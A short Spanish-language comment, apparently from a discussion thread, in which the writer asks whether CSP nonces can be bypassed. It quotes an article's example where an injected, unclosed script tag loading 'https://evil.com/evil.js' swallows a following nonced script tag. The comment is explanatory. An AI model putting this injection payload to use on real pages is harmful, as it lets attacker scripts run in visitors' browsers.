Vi tu comentario. Pero, me da la impresión, sin comprender todavía el asunto, que el uso de nonce permite ataques inyectando sentencias mal formadas. (Eso leí en el artículo que me pasaste): ej: `<p>Hello, [INJECTION POINT]</p>
<script nonce=abc src=/good.js></script>` usado así: `<p>Hello, <script src='https://evil.com/evil.js' </p>
<script nonce=abc src=/good.js></script>` De modo que, no me queda claro el asunto.